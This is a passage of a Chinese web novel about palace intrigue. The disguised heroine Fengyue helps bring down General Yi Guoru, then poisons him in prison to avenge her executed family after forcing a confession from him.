疲惫地闭上眼,殷戈止道:“若是有朝一日,我要回魏国,你可愿随我一起回去?”
微微一愣,风月好奇地看着他:“您愿意带着奴婢?”
“你只说愿还是不愿!”
“愿啊!”连忙点头,风月道:“有您护着,那回去谁还敢欺负我啊?”
不过想想,又有些泄气:“等您能回去的时候,奴婢怕是都老了。”
“不会。”
“嗯?”风月眨眼:“您说什么?”
声音太虚弱,含含糊糊地让人听不清楚。风月凑到他嘴边想再听,却被他一爪子按下来,瞬间趴在了他胸口上。
均匀绵长的呼吸,带着些高热未退的喘息,从他的胸腔里传了出来。
身子僵硬,风月茫然地眨眼,抬头看他。
这是个什么情况啊?先前不是还嚷嚷着说她脏啊之类的,抵触得要命吗?现在怎么的,倒是主动跟她亲近了?
烧糊涂了?
伸手去摸他额头,手没伸到一半就看他的手抬起来了。上回被打得疼,风月反应飞快,立马将手收了回去!
身下的人半睁着眼,眼里微微有不悦,伸手过来将她窝着的手扯出来,重重地放在自己脑门上。
“啪”的一声响,惊得风月张大了嘴。
他的眉头松了,重新闭上眼,安静地睡了过去,留风月一个人目瞪口呆,半晌也没看明白。
这是做啥?赎罪?殷皇室赎罪的方式都这么特殊的吗?
不过,感受了一下他额头上滚烫的温度,风月抿唇,还是赶快去给他换凉水。不管怎么说,在易将军倒台之前,这个人的脑子是能保命的,一定不能烧坏喽!
皇宫里。
叶御卿脸色不太好看地往御书房走,根据线报,刚刚易贵妃的痛哭似乎让父皇动容了,找了几个老臣,眼下准备让他去将杨风鹏爆出来的**之事统统压下去。
心浮气躁,绣龙的宫靴在御书房门口徘徊了几圈,愣是没进去。
忘忧低头跟在他身侧,见状轻声道:“殿下不必太忧心。”
“怎能不忧心啊。”长叹一口气,叶御卿摇头:“这一进去,先前那么多努力,就都白费了。”
“您忘记殷殿下昨日
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来信说的话了吗?”忘忧道:“他说,在您遇难抉择之事时,只需等待,自有解法。”
“本宫没忘,所以本宫在等。”捏着手里的扇子,叶御卿皱眉:“可本宫想不明白,能等来什么?眼下这情况,怎么才能缓解?”
忘忧沉默。
叶御卿继续打转,正揪心呢,就听得一声长喝从御书房里传了出来:“传御医!”
心里一紧,他连忙提了衣摆往里头走。
御书房里一片混乱,一众老臣都跪在地上不敢抬头。大太监扶着皇帝,一下下地给他顺着气:“陛下保重,陛下保重。”
“父皇!”叶御卿皱眉上前,就见龙椅旁边一滩黑血,夹杂着些不知道是什么的东西,看着骇人。
“怎么回事?!”
大太监连忙跪下:“太子息怒,陛下可能是最近饮食多了些,已经在传御医了。”
什么叫饮食多了些?叶御卿脸色很难看,低头就想到了最近宫外传进来的一些东西。
不知道是风月给的还是殷戈止给的,反正也没什么区别,但那一大堆东西的意思就是,易贵妃与易将军感情很深,但家书有异,怕是泄露了帝王的饮食起居,恐有异心,望他多防备。
微微眯眼,叶御卿看着御医进来把脉,站在皇帝身边若有所思。
“太子。”皇帝虚弱地看着他:“易将军的事情……”
“父皇。”严肃了神色,叶御卿道:“儿臣知道您对易贵妃感情深厚,但此事不仅是**那般简单,还涉及您的皇权。容御医仔细验病,查明父皇今日吐血的缘由之后,咱们再谈国事。”
老皇帝很不解,他吐血与国事有什么冲突啊?难不成还有人要谋朝篡位?不可能的,他可谨慎了,吃什么东西,几年都不会重样,若不是在宫里十几年的老人,其余的谁也不会知道他的喜好。所以不会给人可乘之机。
然而,御医把完脉,却是跪下道:“微臣该死,陛下误食毒物,伤了脾胃!”
毒物?皇帝震惊,震惊之后就是震怒,当即就找御膳房问罪,将易大将军的事情暂且抛到了脑后。
叶御卿松了口气,殷戈止所言不虚,还当真是等着等着就等到了解决之法。
现在,只要能查实易贵妃有染指皇帝饮食的举动,那基本就能定罪。
这些事情不是风月和殷戈止要操心的,所以使臣府里依旧是一片祥和。灵殊咬着马蹄糕蹲在床边看着殷戈止,好奇地问:“主子,殿下最近是不是跟您学的,睡觉总爱皱着眉?”
看了看他深锁的眉头,风月伸手给他抹开,淡淡地道:“不是跟我学的,人做噩梦就会皱眉,殿下睡得不太好。”
“为什么睡得不太好啊?”
“问心有愧。”
似懂非懂地点头,灵殊笑道:“那您还是同殿下一起睡吧,奴婢瞧着,您二位在一起的时候,殿下总要开心些。”
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第116章 你们都是骗子!
微微一顿,风月使劲儿戳了戳灵殊的脑袋:“小机灵鬼,要你多管闲事?还不快去看看观止的药熬得怎么样了?”
灵殊捂嘴,飞快地就往外跑!
看着她这无忧无虑的背影,风月轻轻叹息,眼里满是慈爱。
“一直没有问你。”床上的人蓦然开口,吓得风月一个哆嗦,捂着心口回头瞪他:“您醒了也说一声啊!”
抿了抿干裂的嘴唇,殷戈止沉默一瞬,而后开口:“我醒了。”
风月:“……”
心里有种怪怪的感觉,她垂眸道:“您刚刚想问什么?”
“你的身份这么特殊,那灵殊是谁?”看她总是护着那小丫头,一副大姐姐的样子,殷戈止睡着的时候就在想,难不成关家逃出来的人,不止她一个?
然而,风月却道:“她就是个普通的小丫头,没什么身份。”
殷戈止不信,没什么身份,她会说他必须护好灵殊的命?
“您信也好,不信也罢。”风月道:“她是澧都外头兴和村出生的,祖上三辈都是躬耕于田之人。”
瞧着他眼里的惑色,风月扯了扯嘴角:“要说唯一有些不同之处,那就是她娘亲在关府当了二十多年的下人,从我出生开始就带着我玩儿,虽然经常听老头子的话教训我忠君爱国之道,但也很疼我,以前我闯祸,都是她帮我遮掩。我爹要打我,也是她在前头替我求情。”
殷戈止一怔:“后来呢?”
“后来啊。”风月眯眼:“后来我要**,要被人推上断头台,她穿了我的衣裳,梳了我的发髻,替我走了我该走的死路。”
手微微一紧,殷戈止闭了眼。
“灵殊是她十六岁的时候回村成亲生的,我爹的意思,是给她一笔银子,让她回去好好过日子。但是她说她舍不得我,她不在,我肯定天天因为闯祸挨打。所以灵殊刚断奶,她就回了关家,继续带着我。”
“关家上下百口人都死干净了,只有一个灵殊,因为这样特殊的原因活了下来。她不算关家的人,却也算是关家能活下去的最后一个人,也是殿下唯一能对其赎罪的人,因为她心里没有仇恨,压根不知道自己的娘亲是谁,也不知道娘亲为什么永远不回去看她。”
嘴角带笑,眼里却是半点笑意也没有,风月轻声道:“殿下,若是有朝一日奴婢不小心没了性命,灵殊这孩子,要托付给您了。”
手微微收紧,殷戈止闭着眼睛开口:“与我何干?”
深呼吸再呼吸,风月还是没忍住,伸手放在他的咽喉上,咬牙道:“与殿下何干?”
殷戈止想说的,其实是她不会死,灵殊也不用托付给他,但是不知道为什么,说出来就硬邦邦地变了样。
有些恼,他睁眼看向她,微怒地道:“你欠灵殊一个娘亲,拉上我做什么?”
风月立马笑得仿佛刚刚脸上的阴霾不存在:“拉上殿下还灵殊一个爹呀!毕竟她娘亲,也是间接因为殿下没了的!”
这话一出,殷戈止竟然就老实了,不知道是愧疚还是什么,别开头没再吭声,半晌才应了一声:“知道了。”
微微放下点心,风月继续守在他床边,时不时探探他额头的冷热。
一向身体强健的殷大皇子,不知怎么的这一病倒是很严重,连绵了好几天,急得观止上蹿下跳的,连带着风月也只能衣不解带地守在他身边。
在他躺着的这几天里,吴国皇宫炸开了锅,易贵妃被指有谋刺圣上之心,证据良多,引得圣上大怒,令其幽闭宫中不得出。易将军闻讯,立马想进宫求情,却因为没有允许进宫的圣旨,被拦在了宫门口。
不阴城的局势瞬间紧张了起来,明眼人都看得出易大将军府要出事,再不交兵权,怕就要被定个弑君谋逆的罪名,强行褫夺将军之位了。
易掌珠哭得厉害,上街去召集以往自己救助过的百姓,扬言要万民上书,证明自家爹爹的清白。然而,那些个平时领救济领得飞快的人,遇上事儿,都躲得飞快,别说万民书了,能找出十个肯按手印的人都难。
“为什么啊?”哭着跑到了使臣府,易掌珠很是难过地问殷戈止:“
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为什么他们都不肯帮忙?我平时帮了他们那么多!”
殷戈止咳嗽两声,摇了摇头。
风月低声道:“易小姐,殷殿下还病着,您有什么话,不如等他好了再说。”
“还等?”易掌珠哽咽:“爹爹都快被关进大牢了……”
“恕奴婢直言。”风月叹息:“您这样哭,殷殿下也想不出什么办法来帮您,毕竟易大将军**之事证据确凿……”
“你懂什么!”易掌珠怒道:“我爹是全天下最疼爱我的人,他怎么可能是坏人!”
床上的殷戈止头疼似的翻了个身,风月也抹了把脸,硬着头皮道:“对您好的人,也不一定就对其他人都好。易将军是个好父亲,但不能证明他是个好将军。”
“你胡说!”易掌珠气得跺脚,双眼通红,朝着她便叱道:“你懂什么好将军坏将军?什么**的东西,也敢来我面前教训人?我父亲是什么样子,跟你有什么关系!他至少是个大将军,你呢?你是什么东西?你父亲又是个好人吗!”
“掌珠!”没能听下去,殷戈止终于还是坐起了身子,脸色很是难看地道:“适可而止!”
“殷哥哥,你还护着她凶我?”本来心情就不好,一看他这态度,易掌珠哭得更凶:“是不是我父亲要出事了,连你也想着怎么避开我们?”
“没有。”殷戈止道:“我不会避开你们。”
风月暗暗点头,是啊,是不会避开,甚至还会上去捅一刀。
眼里带了恨,易掌珠恼怒地道:“骗子!你跟太子哥哥一样,都是花言巧语地骗我!你们压根都没有将我放在最重要的位置上!”
说罢,狠狠地瞪了风月一眼,转身就哭着跑了出去。
风月唏嘘:“殿下品味独特,实乃常人难及。”
斜她一眼,殷戈止道:“你想知道,我为什么跟易将军一家如此亲近吗?”
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第117章 三只蜘蛛
风月连连点头,想啊想啊!
床上的人看她一眼,淡淡地道:“再过几日你就明白了。”
那为啥不再过几日再问她这个问题?!风月鼓嘴:“殿下,话说一半,真的很让人难受!”
“这样啊。”轻咳两声,殷戈止板着脸道:“反正难受的不是我。”
风月:“……”
狠狠地将糖罐子放远了,她端起旁边放着的苦药就道:“既然殿下不难受,那就先喝药吧!”
殷戈止眯眼:“我觉得身体好多了,可以不用喝药了。”
“您自个儿说了不算,大夫说了才算。”呵呵笑了两声,风月舀了一勺药就使劲儿往他嘴里塞。
殷戈止伸手挡着,暗暗与她较劲:“我说了算。”
“殿下不可任性,不然奴婢要叫观止进来了。”
手上力道没他大,风月一撩裙子就跪到了床榻上,从上往下压,妄图利用身体重量胜过他。
然而,殷戈止双臂跟铁柱似的,就算她快将整个身子放上去了,那勺药也还是没能到他唇畔。
双方僵持,眼神拼杀很激烈!屋子里顿时电闪雷鸣!
“主子。”灵殊从外头蹦跶进来,脆生脆气地禀告:“有客人来啦。”
努力拼杀的两个人完全没听见这句话,也没动作,直到四爪银龙袍扫进了门槛,叶御卿温和带笑的声音响起,风月才跟炸了**似的跳下床去。
“光天化日的,两位也不怕教坏了灵殊?”叶御卿心情极好,一进来还打趣,摇着扇子眉眼带笑。
整理好裙摆,风月端庄地朝他行礼:“见过太子殿下,方才奴婢在给殷殿下喂药呢。”
殷戈止撑起身,靠在床边微微颔首算是见礼:“殿下怎么突然过来了?”
“有好消息,自然要过来同你们说。”叶御卿道:“易大将军同意上交北境十万守军的兵符,东西已经送进了御书房。”
“这么老实?”风月很失望。
叶御卿挑眉看过来,她立马又换上一张满是赞叹的脸:“真是精忠为国,易大将军好样的!”
“易贵妃呢?”殷戈止问。
“父皇是当真动了怒,毕竟易贵妃陪在他身边已经十几年了,感情深厚,他没想到她会存了害自己的心思。”叶御卿抿唇:“所以就算易国如上交了兵权,父皇也只是缩短了易贵妃禁闭的日子,没有去见她。”
那也足够了,易贵妃失了作用,就很可能起反作用。风月垂眸,暗自盘算了一番,决定再给忘忧去个消息。
易国如现在算是四面楚歌,他甘心吗?肯定不甘心,但他顾虑良多,也是怕死的,所以在皇室这般的逼迫之下,到底该怎么做,就值得细细思量了。
风月不想给他思量的时间。
“殿下的病好似有些严重。”担忧地看了他一眼,叶御卿道:“算来都病了好几日了,也不见好。”
咳嗽两声,殷戈止垂眸:“劳殿下费心。”
“本宫的意思,要不要请个御医来看看?也比外头的郎中靠谱。”
“不必麻烦了。”殷戈止道:“殿下还是多花心思注意易将军吧。”
嗯?叶御卿挑眉,人家都上交兵符了,还有什么好注意的?
“到底是多年的将军,带的兵广布天下,有些时候就算没有兵符,靠他那个人,也是可以调动兵力的。”殷戈止低声道:“恕在下多言,殿下最好在不阴城外方圆百里都布下眼线,一旦有任何兵力调动,务必提前提防。”
被他说得背后发凉,叶御卿皱眉:“不至于吧?本宫也没有逼他上绝路,之后他还是可以带兵打仗的。”
“没有人愿意一辈子带兵打仗,末了还得回国都接受君王的质疑。”殷戈止摇头:“在下乃从军之人,这一点,自然比殿下清楚。”
这句话实在太有说服力了,叶御卿严肃了神色,将扇子一收,行了礼就往外走。
风月垂眸问:“要让安少爷和徐公子过来一趟吗?”
深深地看她一眼,殷戈止低声道:“别自作聪明。”
“奴婢误会了?”风月挑眉:“您难道没有打这两位少爷的主意?他们可是一身正气,有宏图大志要守卫吴国安危的。您将他们收成徒儿,又捧上高位,当真别无所图?”
殷戈止闭眼,轻轻叹了口气:“有所图,却不至于利用,该他们做的事情,他们自然会去做,用不着我说什么。”
利用的最高境界,不就是你什么都不说,别人还按照你的想法去做了吗?风月摇头:“拜师需谨慎啊……”
“我并未亏欠他们。”殷戈止皱眉:“该给的给了,该教的也没吝啬,要的不过是他们一份信任,过分?”
“不过分不过分,是奴婢以小人之心,度君子之腹了。”风月媚笑:“殿下息怒。”
轻哼一声,殷戈止看了看旁边矮几上放着的满当当的药碗,又看一眼风月明显已经走神的表情,偷偷松了口气,转身背对着她继续休息。
忘忧得了太子允许,去后宫看了一眼易贵妃,不知道说了什么,在她走后,易贵妃大哭,送了家书回易将军府,想见易国如。
然而,易国如正在忙碌,压根没时间理会她,他需要在很短的时间内下决定——是任由皇权将他步步残害,还是奋起反抗?
没有回音,易贵妃疯了,她觉得自己这十几年来的付出都是白费的,忘忧说得没错,果然自己一没了作用,易国如就会放弃他。什么承诺,都是假的!就连最后的情分,他都不想顾及了吧?
易贵妃痛哭失声,等了两日,又送了两封信出去,让易国如来见她,不然,就玉石俱焚。
这是一个绝望又恐惧的女子挣扎着想抓住点什么的疯狂举动,她不可能当真跟易国如玉石俱焚,只是想吓唬吓唬他,好让他快点来见自己,也让自己安心。
很可惜,这两封信都到了叶御卿的手里。
今时不比往日,易国如的势力出现了倒台之像,要抓他们传递消息的渠道就容易了些。正好,太子殿下在宫里的
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眼线,很幸运地截获了这两封信。
一打开信,叶御卿差点也疯了。
缠缠绵绵哀哀怨怨的语调,哀哀切切地要人来见她。
没敢耽误,叶御卿将这些书信立马送去栖凤宫,给了自己的母后。
南宫皇后可不是省油的灯,当即闹到了陛下面前去,抓着易贵妃要以羞辱皇室的罪名处死。
等易国如听见消息的时候,皇帝已经下了杀贵妃令。
这样的局势,压根是不给他退路。易国如怒了,连夜奔出不阴城,派薛良去召集旧部,准备先奔往西边,蓄势谋反。
然而,不阴城外的三千驻兵刚调动,就被叶御卿察觉,安世冲徐怀祖带护城军前往阻拦**,太子连夜进宫,与皇帝关于御书房密谈。
易国如戎马半生,怎么也没想到自己最后会被两个毛头小子挑下马去,滚落在城郊的泥土里,狼狈至极。
“是谁?”躺在地上,他抖着嗓子问:“是谁要害我?”
“大将军,回城进宫说话吧。”安世冲道:“我等不过都是尽职责,没有要害您一说。”
“不……不可能。”易国如连连摇头:“我中计了,有人准备好了要害我!”
易贵妃怎么会突然被人抓住把柄赐死!抓的还是与他之间的情事。怎么可能会出卖他?他一时冲动要谋反,但这些人怎么会像是在这儿等着他一样,他一有举动,就被拿下了?
这下头上的罪名可就大了啊……
怎么会这样呢?就算叶御卿心机深沉有意与他作对,可也不可能布下这样周密的局啊,像一只硕大的蜘蛛,织再大的网,也该有漏洞,不可能将他网得这么死!
一定还有谁,一定还有谁在背后要害他!
声嘶力竭的长啸划破城郊的黑夜,凄惨不甘,传了老远,然而使臣府里,依旧是灯光盈盈,花香四溢。
二号蜘蛛殷戈止躺在床上幽幽地道:“你竟然能想出这样的招数。”
三号蜘蛛风月笑眯眯地应:“殿下过奖。”
不把易贵妃那儿的篓子捅出来,易国如哪儿能这样冲动地离开不阴城啊?他不冲动离开不阴城,那殷戈止让叶御卿布下的眼线,不也就没用了吗?
叶御卿织了网,要削弱易大将军手里的兵权,以巩固皇权。殷戈止在他后头织网,要让易大将军身败名裂,跌进尘埃。而她,就是那个在最后织网的,要易国如粉身碎骨,不得好死。
三张网,层层相叠,终于是将易国如这奸贼给捂**。
“殿下觉得,吴国会怎么处置易大将军?”风月问。
殷戈止平静地道:“震慑、囚禁、施恩、重用。”
这是皇室的老套路,先将人置之死地,然后给他后生,将领会格外感激,从而更加效忠。
风月皱眉:“殿下打算袖手旁观?”
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第118章 探监
袖手旁观?殷戈止嗤笑:“别说我不会,就算是我想,他们也不会让我袖手旁观。”
为什么啊?风月有点不解,不过看殷戈止这苍白的脸色,还是没问了,舀起一勺药就塞进他嘴里。
殷戈止皱眉:“苦。”
“男子汉大丈夫,说什么苦不苦?”风月挑眉:“您好歹是受魏国百姓爱戴的将军,跟个女娃子似的怕吃药,像话吗?”
不像话又怎么了?反正没别人知道。殷戈止冷哼,万分嫌弃地盯着她手里的勺子,那眼神灼热得,像是想直接把这勺子给瞪断。
风月看得有点好笑,都说人一生病就变回了个孩子,果真是不假。
喂完一碗药,她给他塞了颗果脯。
殷大皇子的眉头总算是松开了,看起来心情好了些,咬着果肉问了她一句:“现在想见易将军了吗?”
见易国如?风月有点怂,可转念一想,不对啊,现在易国如都**了,就算看见她又能怎么样?她在外头,他估计还在牢里头呢。要怕,也该是他怕才对。
“想!”
“那好。”淡淡地颔首,殷戈止道:“等过两日,你便去见他,有什么想问的,都可以一次问个清楚。”
这说得多轻巧啊,就跟他是吴国的大皇子似的!风月皱眉:“易将军怕是会被秘密关押,有专人看管,想见很难。”
给了她一个漠然的眼神,殷戈止吐了果核,翻身就朝床里头睡了。
坐在床边,风月咬牙切齿地想,为什么这人总喜欢装神秘呢?什么话都只说一半,也不怕咬着舌头?
然而,两天,当真是只过了两天,叶御卿亲自上门,郑重地将一块令牌放在了殷戈止的手里。
“殿下,有劳了。”诚恳地看着他,叶御卿道:“易大将军武功高强,党羽众多,想去探监的人也实在太多,一般的人守不住,父皇的意思,是让您去太尉衙门住两日。”
风月咂舌,心想这吴国皇帝还真是会找人啊,不怕得罪人又武功高强的,可不就是殷戈止么?上好的狱卒人选。
“太子殿下。”殷戈止脸色很难看,强行咳嗽两声,虚弱地道:“在下生着病,实在难当此重任,更何况,易大将军怎么说都对在下有恩,此等差事,恐怕……”
“太尉府里有不少精兵在,除非情况危急,否则也不用殿下出手。”叶御卿拱手道:“太尉府也有好大夫好药材,都能为殿下所用。并且,殿下也不用面对易将军,挡着外头其他人即可。其实本不用劳烦殿下,只是太尉大人向来事务繁忙,最近为这件事所恼,求陛下开恩施以援手,安国侯府又推荐了殿下,故而……”
殷戈止长叹一口气,表情很是为难,犹豫再三,问了一句:“那若是太尉衙门看守失职,让犯人逃脱了,陛下要连在下一起问罪吗?”
“不会。”叶御卿摇头:“此事是本宫来请的殿下,若是出事,只要与殿下没干系,那殿下都不会被问罪。”
“好。”殷戈止这才应了:“那在下就往太尉衙门去一趟。”
笑着颔首,叶御卿道:“真是辛苦殿下了,不过……殿下过去的时候,要是掌珠在,想见易将军的话,您可以放她进去。”
这么长时间了,虽然很多时候与易掌珠是逢场作戏,可看她那模样也实在可怜。叶御卿对女人向来心软,想着也算给殷戈止一个人情了,毕竟他很喜欢易掌珠,总不能让人家做事,还让人家为难。
殷戈止果然很愉悦地应下:“多谢殿下。”
叶御卿放心了,继续回去跟皇帝研究怎么恩威并施。
殷戈止拿起太子给的令牌,转头就放进了风月手里。
风月一笑,与他一同乘车去太尉府,只是马车往响玉街绕了一圈,在杂货铺面前停了一会儿。
杂货铺的手艺一如既往地好,虽然找材料费了一天的时间,但东西送来的时候,殷戈止这样的火眼金睛,都没能认出来哪个令牌是真的,哪个是假的。
“你去哪儿寻的这么多能人相助于你?”殷戈止实在没忍住,问了一句。
风月笑得贼眉鼠眼的:“秘密。”
她的秘密,他很好奇,却也不敢去打探,怕挖出来的东西又是鲜血淋漓的。
无声地叹了口气,殷戈止闭眼,在太尉衙门里安心住下,等着易掌珠来。
易掌珠来得很快,大概是听见了殷戈止进了太尉衙门的消息,急急地来走后门,完全忘记了上回自己说的话,眼巴巴地看着殷戈止问:“我可以去看父亲吗?”
“可以。”殷戈止点头:“你想去看,随时可以去。”
这反正是太子允许的。
易掌珠笑了,很是感动,拎着食盒接过令牌就往死牢走。
易大将军连坐牢都享受的是大将待遇,单独的牢房,单独的看守,五十个狱卒从里到外围了个严实。
易掌珠一进去就觉得不舒坦,皱眉道:“父女相见,也需要这么多人看着吗?”
接过令牌的狱卒满脸犹豫,谁都知道易国如死不掉,那这易大小姐,是得罪好,还是不得罪好?
想了想,狱卒还是派人去问了问殷戈止,殷戈止一挥手就给了特权——易小姐探监,狱卒可以回避。
出于对“殷殿下深爱易小姐”这件事的认知,狱卒们觉得这命令不意外,太子那边既然没什么特别的吩咐,那也就照办吧。
于是,易掌珠就天天给易国如带饭菜来,殷戈止还怕她一个人走那黑漆漆的牢房不习惯,特别准许她身边的丫鬟也跟着进去。易掌珠有时候走在街上看见了好吃的点心,还让丫鬟拿着令牌给自家父亲送去。
易国如很感动,觉得有殷戈止在真是好啊,有这样的特权,他牢里的日子都没有那么苦了。虽然自家女儿很笨,问她外头什么情况她都说不清楚,但是能经常有人给他送吃的,那就不错。下次丫鬟来的时候,他一定要吩咐她们带点纸笔,好让他传消息出去。
然而,这天的夜里,他等来了风月。
穿着丫鬟的衣裳,拎着令牌和点心,风月低着头进了大牢。莲步轻移,裙摆一下下地扫在绣花鞋上,看起来像是
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春风拂花,万种风情。
殷戈止在牢外的阴暗处站着,抬头看着天上的月亮,眼里神色晦暗,拳头始终没松开,半晌之后,隐身入黑夜,从牢房的瓦檐上飞过,准确地找到了易国如的牢房所在的位置,踩着瓦片,半点声响也没出。
隔着栅栏将点心递进去,风月低着头道:“大小姐说,这一家绿豆糕很好吃,请您尝尝。”
这两日吃的各式点心不少,易国如低笑:“她可真是会念着为父,这都什么时辰了,还让为父吃。”
“大小姐也是怕将军受苦。”
咬了一口绿豆糕咽下去,易国如突然觉得有点不对劲,抬头看向栅栏外头的人:“今日怎么不是点钗过来?”
“点钗姐姐忙,便托了奴婢。”
“哦……”又咬两口,将一枚绿豆糕吃尽,易国如皱眉:“太甜了,不吃了。”
吃一个也就够了,风月微笑,终于缓缓抬头看向他。
牢房里灯光昏暗,易国如本是不太想注意一个丫鬟的,但敏锐的他察觉到了气氛不对,猛地抬头。
月光从小窗口倾泻进来,流淌在这人精致英气的五官上,恍然间他好像就回到了厮杀的战场之中,有英武的女将军穿一身红衣,衬着白色的盔甲,手里一把大刀,直往他手臂上砍来!
倒吸一口凉气,易国如惊得后退好几步,跌坐在草堆里:“关……关……”
“我还雎鸠呢。”风月龇牙,笑得很是痞气:“易将军,别来无恙啊?”
浑身冷汗往外冒,易国如皱眉,仿佛觉得自己是花了眼了,忍不住凑过来再看她几眼,然后便色厉内荏地道:“你不是**吗!”
“托将军的福,我全家都**,就我命硬,苟延残喘地准备来找将军唠唠嗑。”拍拍衣裙,风月站起来,居高临下地看着他,眼里神色冰冷:“将军做过什么事,不会都忘记了吧?”
瞳孔微缩,易国如低头:“你在说什么,老夫听不太懂。老夫与你爹,怎么也算是挚友……”
“我挚你全家祖坟冒青烟!”风月咬牙,起身拎起食盒猛地砸在那栅栏上,一声咆哮惊天动地:“老头子都已经**,你为什么连魂都不让他安?还挚友?他要是有你这样的挚友,死都死不安宁!”
被晚辈当场这样呛声,易国如脸色很难看:“你……想做什么?”
一边说一边仔细听外头的声音。这么大的动静,难不成都没有狱卒来看看?
的确是没有的,托易掌珠的福,易家的人来探监,狱卒们都习惯性偷懒,只有门口的十几个人还守着。死牢太深,这点声音,响彻牢房,也传不到守门人的耳朵里。
“做什么?聊天呀!”满意地欣赏着他脸上微微慌了的神情,风月红着眼睛笑:“这么好的晚上,将军怎么能不同晚辈说说自己陷害他国良将,使诈夺取军情的好手段?怎么也要让晚辈瞻仰一二呀!”
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第119章 绝望吗?
脸上的肌肉抽搐,易国如别开头:“你爹做的事,你怎么会知道?又凭什么说我使诈陷害?”
“你的意思是,我爹当真将魏国的军机泄露给了你,还用的是最愚蠢的书信,留足了把柄等着人来抓?就在你们大军获胜的关头,你们也没救他,就眼睁睁看着他被押回魏国国都?”挖了挖耳朵,弹了弹指甲,风月笑得风情万种地指着自己的脑门:“你看我像傻子吗?”
易国如沉默,平昌之战是他打得最不光彩的一场仗,他自然也是不愿意提起的,更没理由在这儿像被审问似的,将自己做过的事情都一五一十的说出来。
然而,他的肚子竟然开始绞痛,痛得他白了脸。
“绿豆糕好吃吗?”栅栏外头的人如地狱归来索命的鬼差,笑得阴森森地道:“还想吃吗?”
脸色难看至极,易国如立马去抠自己的喉咙,却是什么都吐不出来了。
“你敢对我下毒?!”
“为什么不敢?”风月眯着眼睛好奇地道:“你是吴国的将军,又不是魏国的,**也与我无关呀。”
“你!”这才是当真慌了,易国如努力用平静的表情,捏着拳头道:“给我解药!”
“好说好说。”伸手掏出一颗红色的药丸,风月咧嘴:“我也就是好奇我爹怎么被你套进去的,说清楚了,解药就给你。”
“休想!”
脸色一沉,看着他这傲骨铮铮的样子,风月甩手就将药丸给扔了出去。
“哎!”易国如慌了,连忙伸手出来抓着她的衣袖:“解药给我,你想听什么,我说就是了!”
反正这大牢里也没别人!
重新挂上笑意,风月伸手又掏了颗解药出来,在他面前晃了两下:“说吧。”
忍着疼,易国如咬牙:“吴魏之战,关苍海是我多年的敌手,只要有他在,这一场仗三年之内肯定打不完。为了吴国百姓,我只能出此下策——绑了殷殿下身边的副将贺兰长德的家人,威胁他提前告知行军路线和军中情况。他说殷戈止与关苍海密谋了一夜,然后大军往山鬼谷的方向去了。都是读过兵书的人,我自然能猜到他们的部署,使了一招反间计,提前做埋伏,让殷戈止带的那几万士兵覆灭在山鬼谷中,留他带着亲信回去,跟关苍海内讧。”
“本也没指望这一招能有多大效果,吃了殷戈止一支精锐军队就不错了。谁曾想,关苍海被押解回京,竟然就被满门抄斩了——你们效忠的不是明主,那些伪造的书信,虽然笔迹模仿得很像,但是要仔细看的话,应该还是能找出破绽的。”
嘴里说着,眼睛却盯着风月手里的药丸:“我……我要疼得说不出话了,先给我吃药吧?”
风月神情有些恍惚,眼底水光潋滟,却是忍着没在这老匹夫面前哭出来,只板了脸,伸手把那红色的药丸给他。
易国如接过去就塞进了嘴里,咽下去之后,似乎觉得腹痛有所缓和,便松了口气,目光里满是戒备地看着她:“知道了这些,你又能怎么样?”
“不怎么样,虽然我相信我家古板的爹不会做坏事,但能得你亲口证明,自然是更好。”回过神,风月低笑:“不过易大将军啊,你口口声声为了百姓,为什么又要克扣自己麾下将士要吃的粮食,要穿的衣裳?”
脸色微僵,易国如嘴上的胡须动了动,嗫嚅半天,吐出两个字:“荒谬!”
看起来是不打算承认,不过风月也不关心这个,该问的问过了,该做的也做完了,她站直身子,笑眯眯地低头看着他问:“您知道绿豆糕里是放了什么,所以无色无味吗?”
这天下无色无味的毒很少,能致命的毒,基本都是苦的臭的,所以易国如那会儿吃着绿豆糕没觉得不对,却不知怎么还是**了。
“你放了什么?”他好奇地问。
“少量的**。”风月笑道:“不足以让您死掉,顶多是腹痛难忍。”
“那……”那为什么还给他吃解药?
伸手又掏了一颗红色的药丸出来,风月笑眯眯地道:“您看着这个,就不觉得眼熟吗?”
红灿灿的颜色,看起来很可爱,吃起来却是极苦。方才腹痛太过,为了活命,易国如没多想,现在仔细一看,背后不由地起了一层冷汗。
“绝命丸!”
他亲自让人研制的**绝命丸,放在客房里的机关之中的,必要的时候才拿出去让人用。此毒剧烈无比,服用一炷香之后,便会七窍流血而死。
怎么会在她手里!
“不,不可能,你一定是在吓唬老夫。”连连摇头,易国如白着脸道:“我是吴国的大将军啊!我也是唯一能证明你爹清白的人,你不要我活着吗?我要是活下去,说不定你爹还能翻案……”
“翻案?”风月笑了,笑得双肩直颤:“翻案有什么用啊?他们能活过来?不能,说不定还要被那些曾经害死他们的人哭哭啼啼地骚扰,何必呢?您**就行了。”
“易大将军,其实要是我不来,您可以在这儿等着,等着吴国的皇室给您开恩,让您感激涕零地重新回到战场上,重新为皇室效命。若干年后,这一场**都会散去,没人记得您曾经跟自己的妹妹苟且,也没人记得您有过**的心思,时光洗涤,您又会是受人爱戴的大将军。”
瞳孔微缩,易国如恼恨地看着她,终于嘶吼出了她的名字:“关清越!!”
“我在呀。”摇着腰肢笑得如银铃,风月媚眼如丝地叹息:“可惜,就是因为我在,大将军的未来全毁了,您就得死在这不见天日的大牢之中,七窍流血,凄惨无比。手下有万千将士又如何啊?眼下要**,谁能救你?你下地狱去,谁能拉得住你?”
万蚁撕咬的感觉慢慢席卷全身,易国如倒在地上,眼睛睁得很大,不甘心地看着风月的方向。
他是运筹帷幄的大将军,他有很多手段可以使,他也有很多的人可以利用,怎么能就死在了这里?不可能!他一定是在做噩梦!
“痛苦吗?绝望吗?”女子的娇笑声萦绕在耳侧,易国如很想堵住耳
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朵,却觉得鼻子下头一热,喉咙如刀割般疼痛起来。
“您好生享受啊,这可是您最后能活的一炷香了,哎呀呀,大将军,您的样子可真难看!”
喘着粗气,易国如挣扎着,眼里泛白,断断续续地道:“世上……怎么……会有你这样的人。”
怎么能这么不按常理出牌,直接来杀了他?杀了他,吴国动荡不安,强敌必定趁机攻吴……
哦……她不是吴国人,是魏国的……
心脏的跳动声响彻整个脑海,易国如嘴里喃喃着,却是连话都不能再说清楚,支支吾吾,扭曲蠕动,眼里的神色慢慢涣散。
看着那流到地上的血,风月觉得痛快至极,转身迈着莲步,在那将死之人的哀嚎声中,慢慢地踏出牢房。
牢房门口的月光亮极了,亮得她眼前一片恍惚。
“清越!”洪亮的吼声穿透寂静的关府大院,声音由远及近,没一会儿,整个关府就像是活过来了。
